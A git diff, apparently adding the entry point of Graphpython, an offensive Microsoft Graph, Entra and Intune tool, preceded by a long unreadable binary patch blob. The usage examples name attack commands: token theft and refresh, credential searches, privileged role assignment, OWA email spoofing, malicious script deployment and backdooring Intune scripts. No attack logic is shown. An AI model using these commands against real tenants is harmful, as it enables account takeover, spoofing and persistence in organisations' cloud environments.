zVx&y9f!J!jpz+Z2Y{%@*BmJu;Z8_0p?Am;E3MpJ&vg@dFc5E649Z%|w2mCR$@p^)5 z-KP#X!vrDrQjF|U; zn+{y@M{{|A0ThQ+--zldE%X>Ono#Hx5Eet;9#x}pmNBZ4nJDA(Ig|{|`KD=ol zxz0jP{g72BH!6E)pXp<~QY!aGIH+>x;4TTTmy7e8$2`@!eBL2thfEdZcM^B@b#DSf z_9JH@h3Qz2(NDtqi^z?Mb$?A^6G(I2*fO_U&8kW4c6V$oav=P`u6O zPsLg@gUSrr5Yycyu%TA}=#4znTHR0j^wdn60o;$u%7gT%RRdD!hwFjGE68z?bZh)d zADR0@2Cwl?Ef6e63&(qp9U zL43B)UTC0~!COGjeq!{Yz zr?xOShVHJeqEdLTe`O%;`%iJea^3WUu$O`+yuW=f&x2io#XU^CJ|QDQ{_Sksu_rx|`uFRkHM;2BW6J@!#oAbs~py?wfY20XBpx*mAC z!=M2~#56vA^%$}X6HWM)=%~-$+jr5nMCvckJkMdBfL{vp0gvKnB4FJt80G6|-`)q?*Ri1H=Hdb%xaIxIiyvU4pV||D3C7v0K6g`Foh0-Svp#ub`#wkPBxc|Vva$gobNh`7X>@m{!Ny^O?Hw$)=Dy#KW z*xjH?&m-<%xC2A=&M&6&UvRo)=Xj?Jl%uK<6R@z0<^HP@sZ+{llJ{Ld?h;tAQ+Cx8*oS6?a4V|wj`DS7i!Sa4pP z&g8q?CtfS|9QR~rsaT=Y*B526pjb(gyJ_Vprf$Z3`C5Mi1KSp6YR+-K5wGkeLZOkD9#f~{|3}i!=O==Lnk+T^p;@F8&wi8|^=SslG|o{%9&9US zqcRR^+Q<)7-e)R_I6*bwqbHPJ3Xh$lRkC=rh2m4FM^Fj5w&)z-M>Y z9`Z%1=mv2bQeZsh-;-|H`>`Q1MQ!oKoPL#Z2d~Canr%|ehaSg!v?#FmRmB4j@2S7o4E9fx5ZHg(X9654TKlty_ zC5-kOtK^jik&^10{whQ7Ugg12+%n;ffs}!Mq&_eB# zoAdax^TpL}Funt9cGUqLOJ~ch?Tsle}qcdUewr z?q@AG2>*OISw^Vn;`fV3Tw^%9A!T9oQtZ#Z;sf^!@nevys1=Di9moCM5=E=ysTVnM z;ZXBgHes#JZ!BIk&1~=`=!>e;+r2)Q!9j?W)ko|_JTMW%7#?88lEXnOhfWialkkuY zI8TX`#M*N_g|}A~g4TY_FMb zMiS^}IIC6gN0B&-!kU^#K8{`Cw2Y6+tJeLT)_^Z23Rz=ck@Cg|(p#z5Cv zU^^(JgUJ=MJ&!LPesJF4z`E92A3WBerxv{S5jiAVT51$F%~+Zs`RNdOXxI=q#rHl= zkI0otaJ~dv<)Kb-+IR!%N_T*CnM9Ga%wN zB>mYGoj*6E0XSL(ED8WDb%_XGmeR|xlSkA{xHrv4&%`w+5mm_9zuVEBzvov)`N>+g=Fa1D;;RVQi{ zQGLr&G{y*=!o7V+bsK7Wtc%)^;}D%tFDncAkeW}%mXGHB7R zmRX%*Fe|8hm{kl;7l38H4^)uFg^{G{YEZ=il8BAsN)*y2DDN72?CDv*3K(VHvr(4? zC8iUi2IO=vpvpV$!qFTiyBL1T$l@o-c@z$IO70BYX&KA1~uB2F$s>ei%# z1dG7>LZHD~E^+b)FG@eq+?<+OHT;W#Cfp{#DLOHZRtIUtOUAEjPyW{b?cBGWwtB_x zh+GgTd){LEF8fi^iM1uBV+ev#t3u;iQ0~1ib0D{IjsPUKC4**F?Dv5V)0AQMZi=8wEtnaAgoK1ri=GkOG%Z}(ppQy5>neEXCX>}J#Hc;NR|mu163wq&L? zA6$1)zm$L*PT@Q5^XThS^b7CnI6RHc(?>%hpEk^`bt$#D1PiGu`I!hh#Ic5_0)ISq z2cM|H*t;)=?E$t!3oo?RyuIpI)2|&$*kkpkBbHX@O2+3yV~l^vkM`xP&>ud)Vk(~t zZDD?A>QNSFxNw}tVCSfA5UNf5u7kSzCkj)glt@M(H9Faa9}+eu+~qYO#cxDIvLb@a zsaysHv5(9j3+>hlA~2!`dSRTFZkN{HnIV3*Su!jr9m>!t9L}t-YrvTm38ZMG^?F(* z9pexEXja(D2D9bP8QA1FyMnA{>In`8I@pifY>SepsS(tfOUK_n>FZw*iM!d)6wUu9 zXNJ+5zG*IaU;5=4+y315Ej?J3{2lQ13yjHg!xkj9_!*N4yE=NA!yyd4#qb8sL}XFW zabZ5mbCtC3pgj*(`(|Wb63dC|okewB^tzcpEA#VE{u-|tJ*t;@B4^4yon7rhZ!({q zx*tTcaNgTV?muU-*FZ%0e~|h4<;;`d+`w#ZXiP}o+3mPOmCJhD6}k+cTbcm#YK|0X zGF@I#c2xktnATmN+0wp?4ft++Wq5avzz_R9cA+bCaAEpr#DhOyVBwLQvYhu0-z!H4 zemY(UmFH&_TLiUAZ%}vR>J1PcCn}(x67O)#xvL_PW??n_v_sBEr|GCxBxwItFFwf= zG;+?&_kc3ldh!3KU20{6#1%0FZ-`2f@0ry8()Y*ReWLpb zU2>>+4XrdBy2AmR13c!_``xqd_TtO4qw!f3dLCuUy)X=B?{735Vs7(vpVl4-B6aNjw#So;2^fWf7m`E zefGCM)oJI_Tnc0z8|iBZW;ti_-Bh^UV{?uBSESE=ivWF{3Eos!YCTyc?W(!f7BWgM zQ{{VIyit5d!E_*FsxX|U{;gk|WvapO;g)bs(bv<*{x6~M?H=4l(<5dO16h7i~F*#T+`q!6H2|RLbh;`Sx6~BVR}Et5sfLFO;_MPW@ppm;SmqF zFMn*9uH8nK;NKaTJ<_g^e| z11|ASp2yM1`j@%pR5}MfQNqAL)#pg`g*r7NX9=A4mkgN?-JJjJ#O6)aDaNO3KL(OL z5&gZIp6F)=h@sWI_4v-R9l6&6`^mo(w+$s08v;{e9w3KmyqTAbL|#-f{wGq&TgAex z9sfnXU|0evDC%mhi*0~%T)CmLzGfBXnSJpr&ScX^^MU_Gxxz!-$JG(ox18YWfF`yD zycUV+*EL;`s~vphIPm6tx&z8n;my*(c4T(XV_!FQ_pfi=1FH~dMX&y=bij%4Z|ngQ zNp(vE;{^?oR`KL{!I-}~yRxHSYefofX-I9|P6b-)KH*T~Z=cD(Hh?er4LJ`WQwrh$^Iok!1xkP@E)J@3;r{r{}^Xdb*^!Lly&Bq=}Y z_OUjOg&0*LJ*Af?a;Y@R-v6iZoJ8(aVgw44BuqM{#;R&I!xXa@4cvVgH2F4l7UQAm zg$VojNJ-JtF=zob)x!JLt#BAzpI)T{q7tW(vQ? zX-yaDcuz6ehfVQZg1sz{$xaZ2{j9JlTngiTf7G{U4|}O8wm)k++;!2KpXzNxk3nl3 zbL^dT!Nb95*dEtyiQE36^KJH*XiV+Ty3a8FfnkRNVr;XpYe1-cUdfY_#O&l7Z*Wn` zhk2DDrDBG0)N$I`9N=`OsM|EV0w-nS%dwZ>4<7NWyw`^IlNt)rew19#SD_3QBR{>B zhj>=W)c!-vLP-Z#=WYSW#kKc5-PD!&R(62K4>}-qCE#FdH+6gp)_f2UWDmR;D_DV0 z@_ps?CpUElqC zr$(#f;{Tnq|3A!ID;K1qi1Bg}P>rB_l!=QH4~x)XcPv^VQojVpN6e+4YhqE4 z3++OA#E_3j+7s+-$6s!zvLPZOR|jpc7=zvfne~aTVsK)|eQX7VF;8GGa|U&%Gpp6Lf8EFQc&L$6aF{>It zh|P33Rv-z#j)=89(_tLs)J|!e0!Z-XYZ7!9t72s}t}J^}(-xkJhtY)k>tm;jM14ws zGssk!G^}AodZrMnU!&zNZp~a#T=)a2+U(Bjq7x?1))JAAEVXAnn9BJ`kK%5rvlxfV zYVI0L8sOvK$%)W`fk6*%4ja!OldnDjup&J%7{6hFAzqEHEtr=)Hn1V>I1#B9R z#>rEGcO01T0w0=ZMW6if2dil<0+11Uz(1HCA_Kq*O74g zs#LH}AOs@2UOIg=`vwr`S{_F-Y({KY?nQ+3yCOa@(7`o{t%iCXytX2vS(`PucgO(9# z8OWwb%pa46{TAXjJvMWUng_ee6vuS?gwR4#RgIMfJim9Ws7J9ruUjnDgWAU7iXF*K zsrh%n0EvS?``}59OQ2euf^(`SKhx{kxzm4wbpU*kb@b9K(R7J!i$PeMe0s`i+6>u< zmVItjcfvwr*ZX6(k8sCRSk|&vMr3cH9{Aj9@x^T0i+vHZYo|ReD7T~igJ-wHI`@Zl}nhehGIGRDh#BZ3|BF1O31RJq?<9tK;gR0J& z@Lv;R#m0-AVuI{D+3&5f+a0FP_3;_8tf#gO=C%_6*u(1?hmOm%qUwk%#9uzw6?lI( zQ8n)9fK%RAu4c?y9r$@3HW|Nee^M*zWxKQ{ZPj%u_>c3JeQ(ia&Gn|drR|q( zHMWkppMViR&nx;T zCYzop^Kyw@y}5X&@p%?mNA`$j3*(ozqbW|d+~WRA)guU*XC9l4lFwCiWaAefC=i|9 z+W-UpR|^1QI*bo?2p_Hu^fj5+aVgBH`4R89=G$w@bV_W{GY>zQj*0%}RI-_FPl1-Z zC$;Trl^o-~$6;t*D%ndztHxm={HJryoMtTxo9ATkQyeM{C_9v8KTLfbJj(OR^N{P5 z0GUi8%zE?alb=f$vAzxAkYUDC(Hw~&f?ZA#N>7I9J1)Wzt2-T<99Fyzem7%JQZdrLo zA|8#grG6E!9Xt*4DO)?{g|P{(VrOX21h^2Kl&jy9kkE$LbLa5F(o}5Jl-RP%9#e&(P_qH zWQS>kgqyrymyqj=U#XDHc#`{38q?n!H$669p2qlC2$-4CQDX@ zM%?4&TP#_(IaTf}h&S16rN61R^s!E5V}-rI%p+Om4~tn*`brAClKO{O@9*!qnX{9M z2aXs%QzmztOrpe2{FyeX=POhDHUbxmJaYX!o`8Au1@q%W$zzAijql5@tFzvxN|mQr zUg;f8_-l5cWHC+$s1HybVMqVjHdKWAxz(g?0?59WJ&Srewz`tBuJ>HC+1DV{zkP4V ze-)CPKl7$W9|dbLr|2S(q%#2C<^Vpe#fb)7-8bgdAng7@AC7vRMQhEK{nf*bAMM+x ztpUGs>a7WOm8O6Hu{wgbGvhXGM@xV7O4?JjKn`I7^($3}vZBu8iNkatf_$SYSZP$7 zb{PMB#5@%Xf$F~2Wv^d6k)(k&53*veJAR;G3GZ+8iNG|sN}xWUm&%pwWN$`j72_ z?{xP%w!VZ1T)aF^wv&K8;*L*T$nFe4Su&8!L%c%NjB*HM%T|ng2i-54a%o1aC07** zTKv)coI)4~>P9VV5Bx;VoDBzat%L56$~O%i$(YREX`>GC>wtxlG_IzIBGRh{t#{;U zQa1y}eMH>Z6)Jj**wEVz%!ZuOu$Ox~M#HSIB8c|A)>`5fqOfR;W?@_B{Y^XRqbD7i#}6ClL2{OGgfYP8F| zGTPVqb9(o|O4w9(#RG8f2HW`YAHeU0p#?1rj~0ih(8J?N9gUrr-T#OKnQ0Nx^t*nN z_d~v=JqT7fo!9%yxP!uy-I#^3b05@Oq=PRqfK~FIg-1%t!Xh==(t5gsYMcq(pj(Q% z-4#l{2d`xL9;#*=7yK>Mx#|$-iw!n!!JRvVHbOi`s>s|`QY>Ft%l*_O@{=7H2-6s< z?-vJpk2wbP=mCjP$wPLFS53gxm%{To>Qq?K-kIuWd`ONz=`t45JGoe4b|q?3@F7y= zQ+S)v~clQvuIy&mes1*gbzdIkkTKK!}x2pY-I~pHd0{7YdqcZKVFF z=wI~1FzAopC;I8-aihUl70%ya)o0e|@3!e{3K32zo z#g+jC;GE5jI)>x^DhyOYM2hIehIsqM$ z_G)O+Pm&6I2Ww_b{n9;VLG{_~eTc(^`!F%)LFvm`X$PV{ZR2WrXH1MgwEP+MO-7&< zl`HG2?d*iN>k~9HJ#Ja6Y%&d-ocGdQZ+y6pUl*YVqqNWd!c>u$#w?0{kLprz$$#aP z&Jq(cZnA9V)X>rGrKWzy;@+ghQRc>ikqz3tL!+M^pn$`k0|!3qSBNw}w8`c0Z5^OX ziLM9sTf$e17!*!Tv2?O$9-WH=R@N(!bQu+Ngd`5&!{dbFH(%4<)9S1Resb$O$^;Lj)!eGy^5&&547FU1+(&8|JCcz%1_idC zd{!%EcqxNfP>y@{_>1!%*MRoPB~RvjcsKsZ-|vrxX8m z3>n&Aq^5F+O&C!Qux%XK_UCnT8q5=s-f^!vES4y^;KfYg~k zdJQyd_I#xk*{xSwcd`l^o*PPvZ6Gpg(nJLJE53}^IOT%3=GFPpwQ91^1i(i1cigRx z?u^RQbLJS1W)b@(TIR0_@{VpnZmN~`mo9e!6*o|PS1o)92?my=jde}drH1FrPX>?V zZnV1p>9o+w;1|t-TY(Fd{M-Z6nV8``B@9>Xoi(OGslY2))vt$twg!wYAopd8_K9=b z-Row1#bp@dy>!!MT2MUiVJ&CVL3{8=Fz}3ykFnH;PKR`RI@a+(b~@nE7Ut#H=b~PB zcda|%I8Z!@xoY&(?HgB0svtF@c}(+D+5s8bd;Y~p#p8jB{H8XWqhB~I>e?FViep{` znV=}FI zxlwMgiSIQlCNRD7zd6E2A=@pRras(5ChZb`LX!Q$O!5Z69}d28tRLYlpct6PRGnbU zR{lWp6qOp82)Z8NZG%TA0W(D(+B-s^{b3bzi(O_w4j5%PQ5ho=U^ka$NF_MA@L!8GE=pgxS9fu3nI@K~hkwu9wJXJs@RoMR+EK;=_n5}tyaalrAKzs>)kI4s z`Z&imFD19^MkhBJ>(jh>U8WTICtb~^Deb5-@kaKP;7p9a=+fT0$6U?_Ua8mC4}alP zR`?kz{cb=9r3olnqywkNOT56YvriKIN>@-jGqba(AH@a-BAp2-B7Br%z>mI11r*|W z8>oyv_RQ7gJe`H)?r(?~Iwb4xqpJ!5nfk1qmfIRYOUeF&m*g8I2wK1Nk#aApZ#$5< zEGa`cmQm-JF7Hss(kGLNCCqVU;8B%V0Q3o61)#BqM)QhxxdWh%Dj~+5wbdb@z>7r z;~C`%1fo(nka{QQtl%E$MDOZSLn$A1d%T4&s=B3z4!&JGr8Mu|e5@;?#>JN6eE#*n z29^Iu;r-8FCplr+z20VdOp@a4w^aB(o}k`i-=%W3Ot~pqy6s)^>1XK4mSgM$xyo^5 z@FqU*YL>Su7E?IgcSD~X>KUO=XB%GYZ1w;n6-2y1kr1nrtn(k**=8&NW#i3{0mS}m z7Q%cm(+URk>mWY#<};2|mX%fJhyWsYF_4{nMkOrfi}zJ<@FO zn;3Z63Rl@q;lWhF0?*x(WnXT6`&oX*g8R=&+~A^%LRrmW?S(bX7#Rl8$Uuf62d22nV>rW%a-WOc?ma>gZO=z#(RA@j-~Atk33)=;`7@ zen3*b50YT5+t}F;x}w-VW6P_`OdmR^jO&LveH~g&_c*IClNd!Tp$eN*WnZo8t5{|I zIt8@eZ%-fg@_pER_8>M&?} zH9{ZCg$3@XLQ1>w%oTZN^!#r9av_9Dx|||Cgz^=0F~rQPc;~1!7RtmvBXJ^KXOHKJ z-6_v;3R9<}d#}wA&+|$@>zRis;<>AB)uE2py3M^_9&Q+|T~2*lorlj9%e3}}Lz}Kl zKam(Ak*-gV)~QRdc5Cl92%X#M{(=REN9E!#NI6{Sz+2J$@O-cTQ`mP#HMwqECjlvf z(u<-}6;wJ3C{k3abWuQB00pFjlmGz|dJ|BPUInE$=@=lPqjc#YiGnmK0YfJw_uY5g z@r`}Hb2cYGGV=2oZ`Qk>HRoD$uA~w_?f&em6h5|LF;h7*%F@1!-YwgUeK{$VI6KCP08-5v-dATN6mPI{7 zdNZrCEiNmYJ6RMY8CUvOI_uv)XF5f_{O!j<;oH=?4IpLDtY=T3%Qa~~Hs2g5TSR}~ zpEiDa=z3m9S5G%E_Qnx4f=hR(RevXEM&Ccxa4qMJusBV?!AsqH@JZ_{r^Ve56+v;f zE-~7dd1@7r$0OPv_vE?)8wQ6rjLWg5QxkapmqMncCoPJjAHdUCG&`!{BQUkVpuo1z zz`D)$4Zh}ok;~cmCb!n%t#iB+gh8D!ZNanKrwkrpux4_oj%lPz1QMPTa|C`_- z8lW2K{a5jZpFxej$vU8jL{R&KF9Y?~P-VR{ZVob_pFODt@UlG%2A&HXP>SwB&;T)u z7HqCqi#Cq^0@jqS^Qs>zprvSO8f`#S3B{id0UC87^$+H|_vM2FojZlMP*H-la{IQb zDDmPy41{qMt%*W3`ncpIfAx7gLTRc&-(kZlvu+U~RnI=oF-wxkl+$3c0}SKg@PP^P z?sj&osbC9T;G8Mopw~6@2qOFajFS7(7eVk7iDC^%wD~Ux2Bv}GE5X0=zdx0-S58Vz z=j1Foo}0NDjOIq@?Mymz&Q5VNkselc#m59Z*@fz+#RcqCPG{%@D|!C9;Y_C3xweN5 z{H@KsW6+Qea?{+#^}vCt??F_U0J5S=u1E*{lo`pO{jRKmmcnZ>K(>@W=x8em)K)xi zH^yYy>2jMXH>!O4s84`m>{w5=Qk*;Ui(kd}s7n zOWJ=nC3U+4k?SJP@Rl}mFQ+L7%J}e!%LKkIDVK|>h$cmwW}T-}{RxdR=+r-!akRsg z`=@BIur>bN1)21bzhG|_LsA@$(Y+P0d)W_n(P~zJ<3Pv&-(naFwB!G*|iwGL=^29*GUMD948PXv{GO0a6P_e00Vp2 z{y1gOk(ej}<<>rLi(jtJJk`^r7!m{B$@rEVwpaP)zR356p?$D|6BLRPK3?0%OV1%SXX-G zT^aJ{A-=h=0dUQd0Cp2$M9d5^46VWJpFv~ZiBDCWV<9Ekw}w&q3dg=t0w6s4b%P5I zEuyH+zS2(^m7Ao_3=}~cJ7&``dRLG}lsCU6JL}ZSu?{d?J3~Jy%kzd?o0YTq*{plx z&RHo2pa0Suo(8CaeJMn8Sb)7-L@#$CFcv#UWJ*j!qK$SYCtBVCYTMs)Fm%mt=+R&B zLqMo@pOIDVMx1L?JnAYXqGYrox2>uw5j>*B=@-}!dfs| z%D?#=&Qw3~l5`Jsu-92<@5TFbk8nK1l##F`RT1(6;q6xCv~1}gXx&L@Cm93xQ`g2_ zxQUO0!T=Y^3~@Gz{EYCD<$QCHAIVc?I#CY%{VuIiESi74(78B%B#ar{?3%U4<}`VO zl5S?GSqd{_))c<#&o#cA^b2Xj-M*C3%DU-3Ji1G~Vn08sLeu!r?>G9;qEqwrKbjfB zbbe@%?Nk?@QkKrY_+DKsn@+6*^IdvK_BD6MirQqY*;deylaH57gIafn9&h7MO4_Sw z$TQ9QePr?0FIqx|^@b!zVKM!~%A@boJ*>SyTHeHKEgwI?PXX%-=mrH6!h}Vk z>CtW+AiRrORkFo~yS!!lY*ahH%lJ>defT8QRuxq;p@aBdqm#Ufl*t9dT3 zTF{MPgT#sOuY3ij-S6HQk{rf*veU%f#xfQU;zfJ?PeXGUI%UiFE!g#YD9V$W3mMon z+h_AR@po<<$iYl{B9cgf(UOJL`Lmox!_=@yTIDDy(ifnAYMpo0-O^guI}{r$`gEoQcob+5P)-6VCna9yo5)~G$8Y{KZ~ z;qs-ym9yds9($#b4-F#GzO?AW@0HE`yYM@(g)JOz|DC#7p`K8(SB3LfG9!`Y8yM<9Loxb(JE-QpbsLg6cMU z&s-krb^c-P+}@U}j^T6YY&6);aS?52t+lSMqYyMfUUfomT*gbP?`&kW@P%UMo`OU# z)p5%E7e(i%y9L@ZBj-o40wC9t0X-q6zPC?*?u1y zQbkLri4QTh#y4-`>ZD>DHrDb z`RS_liK8H;kdMs7+9T9qzy%^**9B>+rFcb?o>%_b!hbKB|4rVNeK#oa%t4L&IuoBG z_ulky=#H=FLfv^9lFMow(vj(;!*f^i=vt9M7@`X=FxbE~e)L$7VvP2DRtZAhLi1H< zbq_}w5x?1IiLO&Ch~om9&jEN%b-Qigs&AA3JeR|FqNlra04ut(MbLai-JPYb!O~#dv zg|`BCbWezxGnB_oS?e9d-r0%T6SjseQIm6$|D}z^5suW>g0@MxI9BC`{hn|7{ncqe zUsB1&?fwo->UJRe2yTe&6|u}2!HFZKE_EdncRfX#EDd)nWvlr}Yt3VrbcTrLyU64& za#ish1zMP-yZ$9?uQdj6Ns{`k7H7t!jNj3MN`HNPFCd1HMBcQ!+Qqs$8}S3>O# zEn^pxa1o2pJP6i4HHEdXOx@fwR}`IBxAvnmLVq8X57 zX}1xILa6*tlD47%5suzD5AMQhnUJWZLX1leC)vpqB#VZq!DpY}9*8}wXkL(v9s`E@ zr*4Xg(gJ2LY)XO$eOJM?bnK4fuiwR{S@3f7x zD2H&cZkP(f7Txs6407EEWf-Iok*rm z&_`Razrlb_Ys%Zuw(oU0 zc_uz@h3%dNpgSXgZAZuc<`eW2{qqI)o6P=FWf-AZl1qDUXPHbX0D+g~z5fVg(^$-f zY*!2SB`71?-kWMu(G*-0^!cQzbkBH+kfk$^m9gIrc&tm>W;j>5x~)?6U(^P?5W3Iv z@4fsI_oI`hv$cQ3FO;v9N1hDst!(aL({JV>TEaywaPeD}k|TFHg`b?jGsN-^xFIqv zhzWu@S7|v^5sdMDp~sPu0HWH1153+rz^Y%bun#M132)@%_qloJyHQ3u>tsi%4D9jVW%FahwJWn`=JJw}X0? zoVrIt!q)5c8r|6KFgxj)S%P+ZYyU(K)#BbNsX90xy3V77NDM(@!w$X#)n#j} zHC8=T!zPgKl*_blMX#U8?H3RXjd5f8?7;fMe`ZD2c`TW7V5u#KtTh&{SBfHDupQ1h z-CSF3)Sw9C2V@Thv|d+zmEz?2h}6(pX7WVacnKLB$U}k+9tQ1y$WZ^L333x%Pm)Oq zmCyg&^p3J>0q8Ec;=lO@JWSxhW!bG!{+Kij*o4v!XXQ)NaL!)O%c$K^Os5f-H|lQ5 zh{lI^pkC=1bwA2BP&6W^OSg*g*9fK>@1}2`9u?msG2j3RxPLU0RfQ>qV)!k#tuD{e zDJe=s!xD1naUG&(;>u6O)W6e0=uXUYA8gNx2e8Lh88oezbyKl!&Muy<>>5<%5;58 z!+6Q`E(827MehOO&h5-69gG9@i};0)1gwOQUp2DJ{Z9ARm5THi_fC26KwV_S=T@zb z{=NICD{yG*-EWrOVCsc zZAuz-DvgWzXl)TYm6kz_PkL;J14qgbk*8bAd9DMUn#wG>*{1LRw>s?Kf0`kY8cNNW z&nc2k!e1FKO*{AT?4WE?x=1T)aTBD#mbZ*fjCholeG)+)-tvyJ>)^^y1nY8kGWns) zWuBBGB17Q2i1D3G(Ma;Bl%$^#z1R-m1M~ezlds_Z*sgTxyU^9zuCLp@8#_86aO7tZ zd5(QEy5U7EQ(X!(SXCmjcTk6l=2+n{?F!||JyE(*12x+?(N+!*k5MK~{LitA6sJ6E zpknrkru3%UkPDHwk}YM zOAWtz;a1PO0IQp3`8;3IsCX(SnF9mATUp*80VXBGSd%RUm<(FMKQcp$wXZGXnWI3r zknFCjq0nJ6N)`9qOa&q$Ddn|;<4`-kA=cebh9!4qC55&u5 z$*{1*{(g??*s7}fXV$EzMJ@=Ea!s5qPi#ZU8Bth-OJC(Oi95`l;trTKSi~<)5DZli z1FC=Q-;X1l)#8_50ppW6J`%&=umL++?N}DBZDdhe3T$?cNKsKq{4sl@aMT{?I&8JA zn!Z{SK&Br%s393m#5CS>dG7m9NbOytFdiCBs8EoXCCE>xu5a>)!}}HqAC-*grA}9* z264n;qQ5n=46f_!+5{;cSuq}s>V@D96sgwIR1nJ%pG=kZ0*c<0zSTgu=8P`~US#_hxn@AKLAcQ8vrzTK`IrWs89md+*TV1kx+{zF&W55=L5y`?4=} z2GOwfpa&FHjxx$u1zDHJ(2+x?w4Ra!1If8&r5gyh4xa?}!Q$1jb6A#qwJ+@eXO!Xl zOHo!BSm)X0RBA3o%OlQt;PvYf@_s)*s~R)7Jwd+kxX`)thaQ~lpfQ>zk)3E&7Q)fz zeO3?=B684p1pDdK9QCuGX6SS%2`KdA&c2NZhB9iw*UHYm9~^w#PsN>5LJXlWcjCu| zKk)2%v0w_@(1{3oUzsJY>LEJy2l2UK^jEBOwq_*RKv7U^yh4gx4{LTzsc&-p#*V4x zv}e^B(t)^b#`(`B0_~$qvnzE3d`{@NGO|0zD!I*a?*4;LPxKIw0OoFGXWa8A7h@Gi zw~Q98FHyzN2c3E$fFQ>-oXUR!!Xs3E7$gE3>KfbE3tDZ8!gA^~oGERv3+frq&%*#9 z#d+d9XTIw?W$H|q9dm&1Km&lo)aS<8$zx~M`#FGd%<>4!aD)-tida{wGqfa`(9K3X zNpYX>4*ZM{518Ofok>NLFQd(f&N(av;I_yLz|7Bwxnew`JAQ{CrgwNhP2DA8*xcMeq%wZ1NQrUdjq3%SujrFXt3Mk1qz; zewnz+8)Syp*=}d@9>veoyqu`yp5iA)B)$GZ!-9E28uE4_sa^)$yO-jl6Z-Os^*^+D zGb>qsG7ze?p79VtLJ_sZH?y?nVETxkCbVFFqvRn||A^PiE~KwvOsJD8QMYf6`S^Ve z7t7QA*}(TP0*`UvPiZu*>v{KmCY`PTWYhhQ&o#z{B1?Ad2WLu83VB7%Ox>bN$Uktb z!&|cQN%drfiA9e5OgC9DCQXiyd6W4;to8cbRj`(28Vc+qw{{uaUOVD4%?w`hUW%|z zrnfZV&$e0cP0boNx6^Ocr3<{|@0z0pX&aGE1NJGO!XsfeXtY!&rOY#En-l9)TSaM0 zR27At23b$c59}Ha8KkK#?Ton0-v35i*%zjf?_R|!3wINEuA2<1#vgrqw!zut3z(!j zrffN|n!>JvDGS4){8BltbLTAC+p)?ZXSA)b?FGK%7sy2q>wDbpiFO*oqn!K1GYu;X z*;gwhmie42e#$zYaz0=d2+*KxZ&kEU^JWebb3Q#|*X8ifEWaF(bGC2v!QLy3|J<%L zd2rHxWe6~Do0Xis7;_HaGmG68 zjj6Y$_8bWC&M`jviHwS09f0$N=*$z9 z^SVyuXp}TCJjM!wFATs9XZM7+JuGIhk1e)$>DzF=dX@GBD`*|U*!9)tL1xm4^+KI3 zeW7qc+r9F7GSv%B=($1wm?jyi4A0D(=N0K2H$M>saqq8xMP5jwZ9LYXtlIeV$_|t< z?P+G101-Zx@^^f_?6^1}ca+^(XS?juCD{Fs&4~X)Bx;s7Fc&2TZrSChy-K}L+?Y0x zb-eb3V~sOd-gKv7eVldDfSL3VGy0s6XGl^L|7(@%rP-?v7gc8FfZ3f-KZB|d3l zLQI%?4v*__BS|FG|A@p+QQ*Ypkt{FeYjqEC&9wV|jL&OBSDE$NmPT`$GWt{EUrapc zsrw;Tf52t}pywH3BBh(tF;_p~?pRTJ(v9FyG6Z~FDESAz%o!t`>n53p+C#-Uq2jl^meM3AunmN z25B|Xw_E(_BYr)ksFpl>79ZAGgS80$*X#E0Ie4p`xk@8Rj3zs+3dPd#MEuHB%eyIj z@))uD@UG%*DLI3&MDWFw>GT@q$O~)5C!lf9M~q~Of*7F8>ae4MqbR4&xO>6)kXGkn z@CNQj=UKo+?8W(pY$U)rce+MghmTH1CWVbmeH9zjT!ui)c8*CTp6~l&w1Q zq_&$J+Y4llSC7vi6yX=c!n!;&HuVnhpB#}|A#%pM+?UceAIf8@#ia7rN(Y6*mpK5e z+nwVDbdKGw{L})3cq20El;Ytqfa5T(Ip^K2C;yvJzS_!LApfZa+ErxkzHYoMTEK~o zMQyPN{{5l+8za^rQ1#HK`6EhgLgAtK_ykVmkKA)P)~V;gXlH%8o1-I5L0jB>mqO|~ z?bsF>o}R$%CK-ahkiYa*x0al2pk4x#FAK=?8F^DzGev3Mpya>@pk*c#qD<5v;p0W{ zoGr{{im^cAg5}1OovCN3C6#UWo{Y{upLeK!!Cfn7d(8a$RFNo<*=__$DGxoZmExUt zaxI*hiSdmMb9Rr>PBe7peBx18=B$xiwVvWEa3^JV+3u$ZA4e6SkD6_6Yi8ENd z7I%kM`=HuN{h@)LyLGcoeP2&w1cK~Te$fBiwm=F;)!x+M)-zP|pPZV_s+zj(I2IlR z6COCu7uk|k2O^fxp*X1zA)Oq)J0Z=Z%&b}0AEHO;x8M>PJS(i_TTIJrR zN_2AqmDZ0ntVi-Dvo%jNb{KL(SnPal;d|eSzss6zq-VKa-ld2zYWrJpgdyVwFaP49 z@6cmxAwO*d!F5z0hlbAR#n073>?h8-6Xz=wN+4&2a*_Y?^@c+|to(4J0iF6TU6t2m zhuGV;f|bpnqEp)s9RxS8(pUNAT6T~pB<1^FAu!GXLq*i$%VnBXBZCQ=B+&5M&{rKz zD^dCyoDTZWZDb198-7hHs+agh##|88@F1O{6rD|YX_&YC(WumW>~Zlk#dZ(z(%j?! z{}_Ke6~-P?%(GK#ARwc_%N7fnT{+x8|0?36m)o^-93<^6+y8prPhQ<%`0k!~oJh$+15v_x?^dAre@ z#8)h2ZI+caNPTS1IOQZrNW__nN3yf`?S(WaW8p(G?}{U8UN%-;I@({dDiv_+p{lA} g^a&@g?>gz}iaz#Ill?Wu1p+=ADmuy)4=jWK2lswVzyJUM diff --git a/Graphpython/__main__.py b/Graphpython/__main__.py new file mode 100644 index 0000000..aa9706f --- /dev/null +++ b/Graphpython/__main__.py @@ -0,0 +1,224 @@ +#!/usr/bin/env python3 + +import sys +import argparse +import textwrap +from Graphpython.commands import outsider, auth, enum, exploit, intune_enum, intune_exploit, cleanup, locators +from Graphpython.utils.helpers import list_commands, print_red + +def parseArgs(): + + version = "1.0" + print(f"\n\033[3mGraphpython v{version} - @mlcsec\033[0m\n") + parser = argparse.ArgumentParser( + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog=textwrap.dedent('''\ + examples: + graphpython --command invoke-reconasoutsider --domain company.com + graphpython --command invoke-userenumerationasoutsider --username + graphpython --command get-graphtokens + graphpython --command invoke-refreshtoazuremanagementtoken --tenant --token refresh-token + graphpython --command get-users --token eyJ0... -- select displayname,id [--id ] + graphpython --command list-recentonedrivefiles --token token + graphpython --command invoke-search --search "credentials" --entity driveItem --token token + graphpython --command invoke-customquery --query https://graph.microsoft.com/v1.0/sites/{siteId}/drives --token token + graphpython --command assign-privilegedrole --token token + graphpython --command spoof-owaemailmessage [--id ] --token token --email email-body.txt + graphpython --command get-manageddevices --token intune-token + graphpython --command deploy-maliciousscript --script malicious.ps1 --token token + graphpython --command backdoor-script --id --script backdoored-script.ps1 --token token + graphpython --command add-exclusiongrouptopolicy --id 